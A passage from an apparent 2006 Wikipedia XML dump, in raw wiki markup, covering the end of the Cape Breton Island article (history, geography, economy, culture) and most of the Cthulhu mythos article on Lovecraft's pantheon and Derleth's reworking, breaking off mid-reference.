Following his successful invention of the [[telephone]] and relatively wealthy, Bell acquired land near [[Baddeck, Nova Scotia|Baddeck]] in [[1885]], largely due to surroundings reminiscent of his early years in [[Scotland]].  He established a summer estate complete with research laboratories, working with deaf people - including [[Helen Keller]] - and continued to invent.  Baddeck would be the site of his experiments with [[hydrofoil]] technologies as well as the [[Aerial Experiment Association]], financed by his wife, which saw the first powered flight in the [[British Empire]] when the [[AEA Silver Dart|AEA ''Silver Dart'']] took off from the ice-covered waters of [[Bras d'Or Lake]].  Bell also built the forerunner to the [[iron lung]] and he experimented with genetically modified sheep.

Marconi's contributions to Cape Breton Island were somewhat less than Bell's as he merely used the island's geography to his advantage in transmitting the first trans-[[Atlantic Ocean|Atlantic]] [[radio]] message from a station constructed at Table Head in [[Glace Bay, Nova Scotia|Glace Bay]] to a receiving station at [[Poldhu]] in [[Cornwall]], [[England]].

==Geography==
The island measures 10,311 km&lt;sup&gt;2&lt;/sup&gt; in area (3,981 square [[mile|miles]]), making it the 75th largest island in the [[world]], and is composed mainly of [[rock (geology)|rocky]] [[shore]]s, rolling [[farm]]land, [[glacier|glacial]] [[valley]]s, barren [[headlands and bays|headlands]], [[mountain]]s, [[woods]] and [[plateau]]s.  Geological evidence suggests that at least part of Cape Breton Island was originally joined with present-day [[Scotland]] and [[Norway]], now separated by millions of years of [[Continental drift|continental drift]].

Cape Breton's landscape is dominated by the [[Bras d'Or Lake]] system which the island wraps around, [[Boularderie Island]], the [[Strait of Canso]], and the [[Cape Breton Highlands]], which are considered a continuation of the [[Appalachian Mountains|Appalachian]] chain.  Principal [[freshwater]] features are [[Lake Ainslie]], the [[Margaree River]] system, and the [[Mira River]].  Innumerable smaller [[river]]s and [[stream]]s drain into the Bras d'Or Lake [[estuary]] and onto the Gulf of St. Lawrence and Atlantic coasts. Cape Breton Island is divided into four counties: [[Cape Breton County, Nova Scotia|Cape Breton]], [[Inverness County, Nova Scotia|Inverness]], [[Richmond County, Nova Scotia|Richmond]], and [[Victoria County, Nova Scotia|Victoria]].

Cape Breton Island is now joined to the mainland by the [[Canso Causeway]], completed in [[1955]], enabling direct [[road]] and [[rail transport|rail]] [[traffic]] to and from the island, but constraining [[marine traffic]] to pass through the [[Canso Canal]] at the eastern end of the [[causeway]].

==Demographics==
The five main cultures are [[Scotland|Scottish]], [[Mi'kmaq]], [[Acadian]],  [[Ireland|Irish]], and [[England|English]], with respective languages [[Mi'kmaq language|Mi'kmaq]], [[French language|French]], [[Scottish Gaelic]], and [[English language|English]].  English is now the primary spoken language, though Mi'kmaq, Gaelic and Acadian French are still heard.

Later [[migration]]s of [[Black Canadian|black]] [[Loyalist (American Revolution)|Loyalists]], [[Italians]], and [[Eastern Europe]]ans enriched the eastern part of the island around Industrial Cape Breton. Cape Breton has been seeing a population exodus in recent years.

According to the Census of Canada, the population of Cape Breton Island in 2001 was 147,454, a -6.8% decline from 158,260 in 1996.

'''Racial Composition'''
*95.0% Caucasian  
*3.6% Indian (Canadian First Nations)
*0.7% [[Black]]
*0.1% [[Arab]]

'''Religious Groups'''
*95.8% [[Christian]]

Small [[Jewish]] and [[Sikh]] populations exist on the island.

==Economy==
[[Sydney, Nova Scotia|Sydney]] on the east coast of the island has traditionally been the main port, with various facilities in a large sheltered natural harbour.  The [[Marine Atlantic]] terminal at [[North Sydney, Nova Scotia|North Sydney]] is where some of Canada's largest ferries have daily departures year-round to [[Channel-Port aux Basques, Newfoundland and Labrador|Channel&amp;ndash;Port aux Basques]] and seasonally to [[Argentia, Newfoundland and Labrador|Argentia]] on the island of [[Newfoundland]].

[[Point Edward, Nova Scotia|Point Edward]] on the west side of Sydney Harbour is the location of Sydport, a former [[Canadian Navy|navy]] base now converted to commercial use, as well as the [[Canadian Coast Guard College]].  Petroleum, general cargo, bulk coal, and cruise ship facilities are also located in Sydney Harbour.

Glace Bay is the second largest community in population and was the island's main coal mining center until its last mine ceased operation in the 1980s. Glace Bay served as the hub of the Sydney &amp; Louisbourg Railway and also as a major fishing port. At one time Glace Bay was known as the largest town in Canada.

[[Port Hawkesbury, Nova Scotia|Port Hawkesbury]] has risen to prominence since the completion of the Canso Causeway and [[Canso Canal]] created an artificial deep-water port, allowing extensive petrochemical, pulp and paper, and gypsum handling facilities to be established.  The [[St. Peters Canal]] is no longer used by commercial shipping on Cape Breton Island but is an important waterway for recreational vessels.

The Strait of Canso is completely navigable to [[St. Lawrence Seaway|seaway]]-max vessels, and Port Hawkesbury is open to the deepest-draught vessels on the world's oceans.  Large marine vessels may also enter Bras d'Or Lake through the Great Bras d'Or channel whereas small craft have the additional use of the Little Bras d'Or channel or [[St. Peters Canal]].

The primary east-west road on the island is [[Nova Scotia Highway 105]], the [[Trans-Canada Highway]], although the [[Nova Scotia Highway 104]] expressway is scheduled to be extended from Port Hawkesbury along the south side of Bras d'Or Lake to the Sydney area and will likely see the Trans-Canada designation switched to this route when completed.  [[Nova Scotia Highway 125]] is an important arterial route around Sydney Harbour in the [[Cape Breton Regional Municipality]].  [[Nova Scotia Highway 4]], as well as the [[Cabot Trail]], are important secondary roads.  Railway connections between the port of Sydney to [[Canadian National Railway]] in [[Truro, Nova Scotia|Truro]] are maintained by the [[Cape Breton and Central Nova Scotia Railway]].

The industrial Cape Breton area faces several challenges with the closure of the [[Cape Breton Development Corporation]]'s (DEVCO) [[coal mine|coal mines]] by [[2001]] and the [[Sydney Steel Corporation]]'s (SYSCO) [[steel mill]].  In recent years a federal agency Enterprise Cape Breton Corporation has been attempting to diversify the area economy by investing in tourism developments, [[call centre|call centres]], and small businesses.

While the [[Cape Breton Regional Municipality, Nova Scotia|Cape Breton Regional Municipality]] is in transition from an industrial to a service-based economy, the rest of Cape Breton Island outside of the industrial area surrounding Sydney has been more stable, with a mixture of fishing, forestry, small-scale agriculture, and tourism.

Tourism in particular has grown throughout the post-[[World War II|Second World War]] era, especially the growth in vehicle-based touring, which was furthered by the creation of the [[Cabot Trail]] scenic drive.  The scenery of the island is rivalled in northeastern North America only by [[Newfoundland]] and Cape Breton Island tourism marketing places a heavy emphasis on its [[Scotland|Scottish]] [[Gaels|Gaelic]] heritage through events such as the Celtic Colours Festival, held each [[October]], as well as promotions through the [[Gaelic College of Celtic Arts and Crafts]].

==Notable Facts==
* On [[February 8]], [[1631]] [[Charles I of England|Charles I]] grants Cape Breton Island to Robert Gordon of [[Lochinvar]] and his son Robert. {{ref|OTD}}

* Cape Breton Island has two major coal deposits:  the Sydney Coal Field in the southeastern part of the island along the Atlantic Ocean drove the Industrial Cape Breton economy throughout the 19th and 20th centuries - until after [[World War II]] its industries were the largest private employers in Canada; the Inverness Coal Field in the western part of the island along the Gulf of St. Lawrence is signficantly smaller but hosted several mines.

* [[The Men of the Deeps]] are a male choral group composed of miners and former miners from the Industrial Cape Breton area.

* District 26 of the [[United Mine Workers of America]], from the Industrial Cape Breton area, was the only district of the UMWA to attempt to join the [[Red International]] of Trade Unions.

* The [[Cabot Trail]] is a scenic road circuit around and over the [[Cape Breton Highlands]] with spectacular coastal vistas; over 400,000 visitors drive the Cabot Trail each summer and fall.  Coupled with [[Fortress Louisbourg]], it has driven the growth of the tourism industry on the island in recent decades.  The ''[[Conde Naste]]'' travel guide has rated Cape Breton Island as one of the best island destinations in the world.

* [[Cape Breton fiddle music]] refers to a two-century-old Scottish fiddle style of music, drawing on Irish and Acadian musical influences as well.  A step dance form preserved by Irish and Scottish descendants usually accompanies performances at what are known as &quot;[[Ceilidh|ceilidhs]]&quot;.  Inverness County's [[Ceilidh Trail]] derives its name from these performances and celebrations in its rural communities.

* [[Fortress Louisbourg]] is Canada's largest National Historic Site and the largest historic restoration in North America - it depicts the 18th-century fortified French harbour town of Louisbourg.

* [[Alexander Graham Bell]] was a Scottish-born inventor who eventually settled permanently at his summer residence near [[Baddeck, Nova Scotia|Baddeck]] on Cape Breton Island's [[Bras d'Or Lake]].  He is credited with inventing the [[telephone]], [[hydrofoil]], [[hearing aid]], and [[iron lung]], as well as doing extensive work with hearing- and visually-impaired persons, notably [[Helen Keller]].  Bell contributed to the design of the ''[[AEA Silver Dart|Silver Dart]]'', an aircraft that made the first powered flight in the [[British Empire]] from the ice of Bras d'Or Lake.  He and his wife are buried on their estate near Baddeck.

* The [[Marconi Museum]] in Glace Bay is a museum celebrating the first trans-[[Atlantic Ocean|Atlantic]] [[radio signal]]s sent by [[Guglielmo Marconi|Marconi]].

*[[Alistair MacLeod]] is a noted fiction writer and winner of the IMPAC Dublin Prize.  Born in Saskatchewan to Cape Breton parents, he summers near Inverness and bases some of his writing on the island's influences.

*[[Angus MacAskill]] was the world's largest natural giant and was raised on Cape Breton Island.  He later became a strongman performer with [[P.T. Barnum]]'s circus before returning to his family home at Englishtown on St. Ann's Bay.

*[[Glen Breton]], based in Inverness County, is the only [[single malt whisky]] distilled in North America.

*Cape Breton Island is the home of actor [[Rick Ravanello]], as well as former [[National Hockey League]] athletes [[Mike McPhee]] and [[Al MacInnis]].

* Cape Breton Island has been the setting and inspiration for several films:
**''[[Johnny Belinda]]'' by [[Elmer Blaney Harris]].
**''[[Margaret's Museum]]'' starring [[Helena Bonham Carter]].
**''[[The Bay Boy]]'' starring [[Keifer Sutherland]].
**''[[New Waterford Girl]]''
**''[[The Hanging Garden]]''
**''[[Marion Bridge]]''

* Cape Breton Island is famous for its cultural personalities, including:
** singer-songwriter [[Rita MacNeil]] of [[Big Pond, Nova Scotia|Big Pond]]
** [[The Rankin Family]] from [[Mabou, Nova Scotia|Mabou]]
** the [[Barra MacNeils]]
** fiddle player [[Buddy MacMaster]]
** singer-songwriter [[John Allan Cameron]]
** fiddle player [[Natalie MacMaster]] of [[Troy, Nova Scotia|Troy]]
** fiddle player [[Ashley MacIsaac]] of [[Creignish, Nova Scotia|Creignish]]


# {{note|OTD}} [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=08 ''On this day'' in Canada]

== See also ==
*[[Canadian Gaelic]]
*[[Cape Breton accent]]
*[[Provinces and territories of Canada]]
*[[Cape Breton Labour Party]]
*[[Cape Breton Regional Municipality, Nova Scotia]]

[[Category:Cape Breton Island|*]]
[[Category:Islands of Nova Scotia]]
[[Category:Former British colonies]]

[[zh-min-nan:Breton Hái-phīⁿ Tó]]
[[da:Cape Breton]]
[[de:Cape Breton]]
[[fr:Île du Cap-Breton]]
[[no:Cape Breton]]
[[pt:Ilha Cape Breton]]
[[sv:Kap Bretonön]]</text>
    </revision>
  </page>
  <page>
    <title>Cthulhu mythos</title>
    <id>5725</id>
    <revision>
      <id>41905164</id>
      <timestamp>2006-03-02T14:41:53Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <minor />
      <comment>/* Web sites */ fix authors</comment>
      <text xml:space="preserve">&lt;!--No Source Information: [[Image:cthulu.png|thumb|Cthulhu in R'lyeh]]--&gt;

'''Cthulhu mythos''' (often capitalized: ''Cthulhu Mythos'') is the term coined by the writer [[August Derleth]] to describe the shared themes, characters, and elements in the works of [[H.P. Lovecraft]], his protegés, and writers influenced by him. Together, they form the [[mythos]] that authors, writing in the [[Lovecraftian horror|Lovecraftian milieu]], have used&amp;mdash;and continue to use&amp;mdash;to craft their stories.{{Rn|Harms-viii-a}}

Although this mythology is sometimes called the ''Lovecraft Mythos''&amp;mdash;most notably by the Lovecraft scholar [[S. T. Joshi]]{{Rn|Joshi-31ff}}&amp;mdash;it has long since moved beyond Lovecraft's original conception.&lt;!--HIDING POSSIBLE WP:NOR--WHAT PUBLISHED SOURCE SAYS THIS (?): Still, purists who wish to discuss Lovecraft's work, rather than the modifications and expansions of it written by others, consider this to be the most accurate term.--&gt; Lovecraft himself occasionally referred to it as the ''[[Arkham, Massachusetts|Arkham]] cycle''{{Rn|Joshi-50}}, after the main fictional town in his world, or ''[[Yog-Sothoth]]ery''{{Rn|Joshi-51}}, after one of its primary gods.

==Lovecraft and the mythos==
In his essay &quot;The Lovecraft Mythos&quot;, S. T. Joshi defines four key elements in Lovecraft's mythos: (1) the fundamental principle of ''cosmicism'', (2) an imaginary New England setting, (3) recurring &quot;pseudomythological&quot; entities, and (4) works of arcane literature. Joshi points out, however, that Lovecraft never fully realized his mythos at any time in his career, but instead developed it gradually, adding elements to it with each story he wrote.{{Rn|Joshi-32}}

===Cosmicism===
Common themes in Lovecraft's fiction are the insignificance of [[humanity]] in the [[universe]]{{Rn|Price1991-247B}} and the search for knowledge ending in disaster{{Rn|Price1996-xviii}}. Humans are often subject to powerful beings and other cosmic forces, but these forces are not so much malevolent as they are indifferent toward humanity{{Rn|Price1991-249}}. Lovecraft called this viewpoint ''Cosmicism'', a doctrine that holds that humankind's religious beliefs are a mere conceit and that ultimately humanity is alone and defenseless in an uncaring universe.{{Rn|Tremlett-tum}} This is opposed to [[anthropocentrism]] or [[humanism]], ideas of [[theology]] and [[philosophy]], respectively.

===Imaginary New England setting===
A number of Lovecraft's mythos-related stories take place in a fictional [[New England]] setting that is centered around the equally fictional [[Arkham]]; consequently, these tales may be part of what Lovecraft called his &quot;Arkham cycle&quot;. Lovecraft's fictitious locations may also parallel real-life places in [[Massachusetts]] (see table below). {{Rn|Joshi-31}} This setting is sometimes referred to as &quot;[[Lovecraft Country]]&quot;, especially in [[Call of Cthulhu (role-playing game)|role-playing games]] based on the mythos.

{|class=&quot;wikitable&quot;
|+'''Lovecraft's parallels to real places'''
!Fictional town or city
!Actual location in Massachusetts
|-
|[[Arkham]]||[[Salem, Massachusetts|Salem]]
|-
|[[Dunwich (Lovecraft)|Dunwich]]||Vicinity of [[Hampden, Massachusetts|Hampden]], [[Wilbraham, Massachusetts|Wilbraham]], and [[Monson, Massachusetts|Monson]]
|-
|[[Deep One#Innsmouth|Innsmouth]]||[[Newburyport, Massachusetts|Newburyport]]
|-
|[[Kingsport (Lovecraft)|Kingsport]]||[[Marblehead, Massachusetts|Marblehead]]
|}
----

===Lovecraft's pantheon===
[[Image:CthulhumythosShrefflerchart.png|frame|right|Lovecraft's original pantheon]]
When Lovecraft conceived his imaginary mythology, he apparently never laid out a definitive plan to follow. Instead, he simply launched into writing his stories{{Rn|Shreffler-156a}}, changing the mythos elements as needed to serve the plot. By recreating the mythos with each story he wrote, Lovecraft added to the deepening mystery of the myth cycle and illustrated the inability of the human mind to fully comprehend it.{{Rn|Dziemianowicz-44}} Nonetheless, Phillip A. Schreffler, in his book ''The H. P. Lovecraft Companion'', argues that by carefully scrutinizing Lovecraft's writings a workable framework emerges for a pantheon of beings (see figure at right).{{Rn|Shreffler-156b}} Not included in this chart is [[Nodens (Cthulhu mythos)|Nodens]]{{Rn|Shreffler-157}}, a member of a rival group of potent deities known as the &quot;Elder Gods&quot; (never expanded by Lovecraft) that were more or less benign.{{Rn|Mosig-24}}

Lovecraft's central deities are [[Azathoth]] and [[Yog-Sothoth]], both  representing opposing cosmic principles. Azathoth, the &quot;blind and idiotic&quot; ruler of the pantheon, occupies the literal center of the universe, whereas Yog-Sothoth, Azathoth's co-ruler, embodies the infinite, existing in all places and in all times. Next in the hierarchy is [[Shub-Niggurath]] (whom Lovecraft mentions but never describes in his stories), representing a kind of [[paganism|pagan]] fertility god. Attending Azathoth at his court are the Other Gods, mysterious beings that dance mindlessly around Azathoth's throne in cadence to the piping of a demonic flute, and [[Nyarlathotep]], the avatar and messenger of Azathoth and the Other Gods. Nyarlathotep is the only being that can interact intelligently with human beings, though he often manifests himself in human form to disguise his true appearance.

The topmost tier of deities is served by earthbound, non-human beings. [[Cthulhu]] is regarded as the priest of the gods, while [[Dagon]] appears to be his subordinate. The lowest tier consists of the [[Elder Thing]]s and the [[Mi-go]], both [[extraterrestrial]] races, and the [[Deep One]]s, ocean-dwelling humanoids, which serve Cthulhu and Dagon.{{Rn|Shreffler-158}}

Because of the additions of later authors, the mythos pantheon has grown considerably and is now populated by deities and beings never conceived of by Lovecraft{{Rn|Price1991-247T}}. &lt;!--I WROTE THE FOLLOWING SENTENCE BUT IT IS DANGEROUSLY CLOSE TO WP:NOR; PROBABLY NEED TO FIND AN AUTHORITATIVE SOURCE WHO SAYS THIS OR AT LEAST CITE EXAMPLES (I.E., SHORT STORIES THAT SUPPORT THIS VIEW)--&gt;Nevertheless, the original schema, which places Azathoth and Yog-Sothoth at the top of the pantheon, is still widely recognized by many mythos writers.

====Gods and devils====
According to Robert M. Price in his essay &quot;Lovecraft's 'Artificial Mythology'&quot;, Lovecraft never intended his pantheon of beings&amp;mdash;occasionally referred to as the ''Old Ones''&amp;mdash;to be supernatural creatures but instead powerful [[extraterrestrial]]s. For naive humans to worship these beings as ''gods'' or to deride them as ''devils'' was to feebly attempt to [[wikt:anthropomorphize|anthropomorphize]] them and thus render them into  mundane and explainable terms. What early humans could not understand they characterized as divine; thus, prescientific cultures deified incomprehensible entities like [[Azathoth]]. Though humans might try to placate or earn the favor of these beings by worshiping them, the Old Ones were not welcoming of such veneration and moreover were quick to exploit the  gullibility of their worshipers to further their own agenda.

Price says that Lovecraft's inspiration was to tear humanity from its supposedly centralized place in the universe by forcing his characters to confront alien beings far older and wiser than humankind. He further contends that August Derleth, as well as other writers who followed after him, misinterpreted Lovecraft's original conception and took the Old Ones to be literally supernatural and godlike. Derleth also departed from Lovecraft's original vision by concocting a parallel to the [[Christianity|Christian]] narrative of [[Satan]] warring against [[Heaven]], pairing the ''devils'' of Lovecraft's mythos (the Old Ones) against a race of benevolent ''[[Elder God]]s'' with humanity's fate hanging in the balance. In Price's view, &quot;religious fiction&quot;&lt;!--QUOTED AS PRICE'S WORDS, PP. 250, LAST PARAGRAPH--&gt; of this sort could not be further from Lovecraft's fundamental notion of an indifferent, nihilistic universe.{{Rn|Price1991-248}}
----

===Cthulhuian pseudobiblia===
{{main|Cthulhu mythos arcane literature}}

A hallmark of Lovecraft's mythos is the various mystical books and other writings of arcane lore which Edward Lauterbach calls &quot;Cthulhuian pseudobiblia&quot;{{Rn|Lauterbach-96ff}}. These tomes were invented by Lovecraft and his imitators to lend more believability to their stories. A good measure of humor was also employed in their creation; for example, ''Cultes des Goules'' is credited to the fictional writer Comte d'Erlette, an obvious pun on August Derleth's name.{{Rn|Lauterbach-96}}

{|class=&quot;wikitable&quot;
|+'''Selected fictional works'''&lt;br&gt;'''created by mythos authors'''
!Author
!Fictional book
|-
|[[Robert Bloch]]||Cultes des Goules{{Ref|Price1985-11}},&lt;br&gt;De Vermis Mysteriis
|-
|[[Ramsey Campbell]]||Revelations of Glaaki
|-
|[[Lin Carter]]||Ponape Scripture,&lt;br&gt;Zanthu Tablets
|-
|August Derleth||Celaeno Fragments,&lt;br&gt;R'lyeh Text
|-
|[[Robert E. Howard]]||&lt;!--NOTE!--&gt;Unaussprechlichen Kulten&lt;!--NOTE! PLEASE DO NOT CHANGE THIS--IT MAY BE INCORRECT GERMAN BUT IT IS IN FACT HOW IT IS SPELLED IN THE MYTHOS; THIS VERY ISSUE IS DISCUSSED IN THE &quot;Unaussprechlichen Kulten&quot; ARTICLE.--&gt;
|-
|H. P. Lovecraft||Dhol Chants,&lt;br&gt;Necronomicon,&lt;br&gt;Pnakotic Manuscripts,&lt;br&gt;Seven Cryptical Books of Hsan
|-
|[[Brian Lumley]]||Cthäat Aquadingen,&lt;br&gt;G'harne Fragments
|-
|[[Clark Ashton Smith]]||Book of Eibon
|}
----&lt;!--RATIONALE FOR THIS LINE BREAK IS TO SEPARATE THE FOLLOWING SECTION FROM ABOVE DISCUSSION OF JOSHI'S 4 POINTS--&gt;
===The reader's response to the mythos===
During his writing career, most of Lovecraft's work was published in the [[pulp magazine]] ''[[Weird Tales]]''. To make his stories more believable (as well to amuse himself), Lovecraft employed various methods to convince readers that his mythos was real. With the care and attention to detail needed to stage a hoax, Lovecraft concocted an imaginary yet plausible background lore for the false religion of the ''Old Ones'' (which, as has been noted, are really powerful extraterrestrials). By avoiding exposition and instead cloaking his mythos horrors in vague, mythical legends, Lovecraft left it up to the reader to piece together the terrifying scientific truth behind his veiled hints.

To achieve &quot;an air of verisimilitude by wide citation&quot;{{Rn|SL3-166}}, Lovecraft, with much relish it should be noted, encouraged other writers to use his mythos in their own stories and to add to it as they saw fit, although this often resulted in distortions of Lovecraft's original vision. Outside of his own works, Lovecraft included references to his myth cycle in the revision stories he wrote for other authors. To distance himself from his creations, he often varied the names of his mythos entities (for example, &quot;Tulu&quot; for [[Cthulhu]]). A reader who saw a particular entity in one story, and then noticed that same entity in another (perhaps under a slightly different moniker) might develop the impression that Lovecraft's mythos was genuine. In fact, this was exactly the effect that Lovecraft sought to achieve, though he occasionally had to gently remind readers that his mythos creations were entirely fictional.{{Rn|Price1991Mariconda1995}}

==Structure of the mythos==
The mythos is centered on the [[Great Old One]]s, a fearsome assortment of ancient, powerful [[deity|deities]] that once ruled the Earth. They are presently [[wikt:quiescent|quiescent]], having fallen into a death-like sleep at some time in the distant past.{{Rn|Harms-viii-b}} The most well-known of these beings is [[Cthulhu]], who currently lies &quot;dead [but] dreaming&quot; in the submerged city of [[R'lyeh]] somewhere in the Southeast [[Pacific Ocean]]. One day, &quot;when the stars are right&quot;, R'lyeh will rise from beneath the sea, and Cthulhu will awaken and wreak havoc on the earth.{{Rn|Lovecraft-tcoc}}

Despite his notoriety, Cthulhu is not the most powerful of the deities nor is he the [[Theology|theological]] center of the mythos{{Rn|Mosig-25}}. Instead, this position is held by the demon-god Azathoth, an [[Outer God]], ruling from his cosmically-centered court. Nonetheless, Nyarlathotep, who fulfills Azathoth's random urges, has intervened more frequently and more directly in human affairs than any other Outer God. He has also displayed more blatant contempt for humanity, including his own worshippers, than almost any other Lovecraftian deity.

==Derleth's involvement==
Derleth had his own take on the mythos and tried to make it conform to his own [[Catholic]] values and [[dualism]]. Instead of a universe of meaninglessness and chaos, Derleth's mythos is a struggle of ''good versus evil''.{{Rn|Bloch-9}} Derleth once wrote:

&lt;blockquote&gt;
&lt;!--
NOTE: The following is quoted VERBATIM from the Arkham House edition -- please do not copyedit (except for adding/changing links).
--&gt;
As Lovecraft conceived the deities or forces of his mythos, there were, initially, the Elder Gods... [T]hese Elder Gods were benign deities, representing the forces of good, and existed peacefully at or near [[Betelgeuse|Betelgeuze&lt;!--sic--&gt;]] in the constellation [[Orion (constellation)|Orion]], very rarely stirring forth to intervene in the unceasing struggle between the powers of evil and the [[race (fantasy)|race]]s of Earth. These powers of evil were variously known as the Great Old Ones or the Ancient Ones...
&lt;br&gt;&amp;mdash;August Derleth, &quot;The Cthulhu Mythos&quot;{{Ref|Derleth-vii}}
&lt;/blockquote&gt;

Lovecraft was an [[atheist]]{{Rn|Joshi-II}} and claimed that [[Immanuel Kant|Kant]]'s ethical system &quot;is a joke.&quot;{{Rn|Derleth-unknown}} Because of this, Derleth's theories about the ''Cthulhu mythos'' are inconsistent with Lovecraft's design. The mythos was never intended to be a cohesive, singular entity; instead, it should be regarded as simply a collection of ideas that can be used in separate works to provoke the same emotions.{{Rn|Turner-x}}

Another problem with Derleth's mythos is that the Elder Gods never appear in Lovecraft's writings; except for one or two who appear as &quot;Other Gods&quot;, such as [[Nodens]] in Lovecraft's &quot;[[The Strange High House in the Mist]]&quot; (though perhaps this is an example of how &quot;very rarely [they stir] forth&quot;; i.e., usually never).  Furthermore, the Great Old Ones, or ''Ancient Ones'', have no unified [[pantheon (gods)|pantheon]]{{Rn|Tremlett-tbq}}. Indeed, the term &quot;Ancient Ones&quot; appears in only one Lovecraft story, &quot;[[Through the Gates of the Silver Key]]&quot; (moreover, the story is actually a collaboration between Lovecraft and his friend and correspondent [[E. Hoffman Price]]).

===Derleth's elemental theory===
Derleth also connected the deities of the mythos to the four [[elemental|elements]] of ''air'', ''earth'', ''fire'', and ''water''. This system left gaps which Derleth filled in by creating the beings [[Ithaqua]], representing ''air'', and [[Cthugha]], representing ''fire''{{Rn|Schultz-27}}. However, the system is fraught with problems. For example, Derleth classified Cthulhu as a ''water elemental'', but if this were so, how could he be trapped beneath the ocean and how could his [[Telepathy|psychic emanations]] be blocked by water? Furthermore, applying the elemental theory to beings that function on a cosmic scale (such as [[Yog-Sothoth]]) is also problematic&amp;mdash;some authors have tried to get around this by creating a separate cateogory of ''aethyr'' elementals for [[Azathoth]], [[Shub-Niggurath]], [[Nyarlathotep]], and Yog-Sothoth. Another problem is that Derleth matched the ''earth'' beings against the ''fire'' beings and the ''air'' beings against the ''water'' beings, which is not consistent with the traditional elemental dichotomy (namely, that ''air'' opposes ''earth'' and ''fire'' opposes ''water'').{{Rn|Harms-101}}

{|class=&quot;wikitable&quot;
|+'''Elemental classifications'''
!Air
!Earth
!Fire
!Water
|-
|[[Hastur]]&amp;#42;&lt;br&gt;[[Ithaqua]]&amp;#42;&lt;br&gt;[[Zhar (Great Old One)|Zhar and Lloigor]]&amp;#42;
|[[Azathoth]](?)&lt;br&gt;[[Cyäegha]]&lt;br&gt;[[Nyarlathotep]](?)&lt;br&gt;[[Nyogtha]]&lt;br&gt;[[Shub-Niggurath]]&lt;br&gt;[[Tsathoggua]]&lt;br&gt;[[Yog-Sothoth]](?)
|[[Great Old One compendium#Aphoom-Zhah|Aphoom-Zhah]]&lt;br&gt;[[Cthugha]]&amp;#42;
|[[Cthulhu]]&lt;br&gt;[[Deep Ones#Father Dagon and Mother Hydra|Dagon]]&lt;br&gt;[[Ghatanothoa]]&lt;br&gt;[[Deep Ones#Father Dagon and Mother Hydra|Mother Hydra]]&lt;br&gt;[[Xothic legend cycle#Zoth-Ommog|Zoth-Ommog]]
|}
&amp;#42;Deity created by Derleth.

===Conclusion===
To his credit, Derleth became a [[publisher]] of Lovecraft's stories after his death{{Rn|bloch-8}}. Lovecraft himself was very critical of his own writings and was often easily discouraged, especially when faced with any rejection of his work{{Rn|Joshi-I}}. Were it not for Derleth, Lovecraft's writings and the Cthulhu mythos might have remained largely unknown.

==See also==
* [[Elements of the Cthulhu mythos]]

* [[Dreamlands]]
* [[Elder God (Cthulhu mythos)|Elder Gods]]
* [[Great Old One]]s
* [[Outer God]]s

* The Cthulhu mythos has become part of [[popular culture]]. See [[References to the Cthulhu mythos]] for a list.
* For a list of characters, see [[Cthulhu mythos biographies]].

==References==
===Books===
* {{cite book
 | last = Bloch
 | first = Robert
 | chapter = Heritage of Horror
 | date = 1982
 | title = The Best of H.P. Lovecraft: Bloodcurdling Tales of Horror and the Macabre
 | edition = 1st ed.
 | publisher = Ballantine Books
 | id = ISBN 0-345-35080-4
 }}
* {{cite book
 | last = Derleth
 | first = August
 | chapter = The Cthulhu Mythos
 | title = Tales of the Cthulhu Mythos
 | location = Sauk City, WI
 | publisher = Arkham House
 | date = 1969
 }}
* {{cite book
 | last = Harms
 | first = Daniel
 | title = The Encyclopedia Cthulhiana
 | edition = 2nd ed.
 | publisher = Chaosium, Inc.
 | date = 1998
 | id = ISBN 1-56882-119-0
 }}
* {{cite book
 | last = Joshi
 | first = S.T.
 | title = H. P. Lovecraft
 | edition = 1st ed.
 | location = Mercer Island, WA
 | publisher = Starmont House
 | date = 1982
 | id = ISBN 0-916-73236-3 / ISBN 0-916-73235-5 (paper)
 }}
* {{cite book
 | author = Joshi S.T. (ed.)
 | title = H. P. Lovecraft: Four Decades of Criticism
 | location = Athens, OH
 | publisher = Ohio University Press
 | date = 1980
 | id = ISBN 0-821-40442-3 (cloth) / ISBN 0-821-40577-2 (paper)
 }}
* {{cite book
 | last = Joshi
 | first = S.T.
 | coauthors = David E. Schultz
 | title = An H.P. Lovecraft Encyclopedia
 | location = Westport, CT
 | publisher = Greenwood Press
 | date = 2001
 | id = ISBN 0-313-31578-7
 }}
* {{cite book
 | last = Lovecraft
 | first = Howard P.
 | title = Selected Letters III
 | location = Sauk City, WI
 | publisher = Arkham House
 | date = 1998
 | id = ISBN 0-870-54032-7
 }}
* {{cite book
 | last = Mariconda
 | first = Steven J.
 | chapter = Toward a Reader-Response Approach to the Lovecraft Mythos
 | title = On the Emergence of &quot;Cthulhu&quot; &amp; Other Observations
 | edition = 1st printing
 | location = West Warwick, RI
 | publisher = Necronomicon Press
 | date = 1995
 | id = ISBN 0-940884-81-X
 }}
* {{cite book
 | last = Mosig
 | first = Yozan Dirk W.
 | title = Mosig at Last: A Psychologist Looks at H. P. Lovecraft
 | edition = 1st printing
 | location = West Warwick, RI
 | publisher = Necronomicon Press
 | date = 1997
 | id = ISBN 0-940-88490-9
 }}
&lt;!--HIDING FOR NOW: Price, Robert M. (ed.) ''Black Forbidden Things: Cryptical Secrets from the &quot;Crypt of Cthulhu&quot;'', San Bernardino, CA: The Borgo Press, 1992. ISBN 1-557-42248-6 / ISBN 1-557-42249-4. --&gt;
* {{cite book
 | last = Price
 | first = Robert M.
 | chapter = Introduction
 | title = The New Lovecraft Circle
 | editor = Robert M. Price (ed.)
 | location = New York, N.Y.
 | publisher = Random House, Inc.
 | date = 1996
 | id = ISBN 0-345-44406-X
 }}
* {{cite book
 | last = Price
 | first = Robert M.
 | chapter = Lovecraft's 'Artificial Mythology'
 | title = An Epicure in the Terrible: a centennial anthology of essays in honor of H.P. Lovecraft
 | editor = David E. Schultz and S.T. Joshi (ed.)
 | publisher = Rutherford, NJ: Fairleigh Dickinson University Press; Cranbury, NJ: Associated University Presses
 | date = 1991
 | id = ISBN 0-838-63415-X
 }}
* {{cite book
 | last = Shreffler
 | first = Phillip A.
 | title = The H. P. Lovecraft Companion
 | location = Westport, CT / London, England
 | publisher = Greenwood Press
 | date = 1977
 | id = ISBN 0-837-19482-2
 }}
* {{cite book
 | last = Turner
 | first = James
 | chapter = Iä! Iä! Cthulhu Fhtagn!
 | title = Tales of the Cthulhu Mythos
 | edition = 1st ed.
 | publisher = Random House
 | date = 1998
 | id = ISBN 0-345-42204-X
 }}

===Journals===
* {{cite journal
 | last = Dziemianowicz | first = Stefan
